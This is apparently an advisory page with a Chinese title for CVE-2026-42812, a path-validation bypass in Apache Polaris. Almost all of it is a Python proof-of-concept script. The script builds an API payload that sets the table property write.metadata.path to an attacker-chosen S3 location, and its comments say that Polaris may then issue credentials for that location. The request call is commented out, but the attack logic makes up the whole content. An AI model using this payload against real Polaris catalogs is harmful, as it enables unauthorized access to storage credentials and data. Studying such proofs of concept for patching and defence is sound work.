CVE-2026-42812 Apache Polaris 路径验证绕过漏洞

import requests # Exploit Concept for CVE-2026-42812 # Description: Bypass location validation by altering write.metadata.path cve_id = "CVE-2026-42812" target_table = "vulnerable_table" attacker_controlled_path = "s3://valid-bucket/attacker-prefix/metadata.json" # Simulate the API request to alter the table property headers = { "Authorization": "Bearer <user_token>", "Content-Type": "application/json" } payload = { "updates": [ { "type": "SET_PROPERTY", # The vulnerable property that bypasses the commit-time branch "property": "write.metadata.path", "value": attacker_controlled_path } ] } print(f"[*] Attempting to exploit {cve_id} on {target_table}...") print(f"[*] Trying to set metadata path to: {attacker_controlled_path}") # response = requests.post(f"/api/v1/namespaces/default/tables/{target_table}", json=payload, headers=headers) # if response.status_code == 200: # print("[+] Exploit successful! Metadata path updated without proper validation.") # print("[+] Polaris may now issue credentials for the attacker-chosen location.") # else: # print("[-] Exploit failed.") print("[!] This code demonstrates the logic required to trigger the vulnerability.")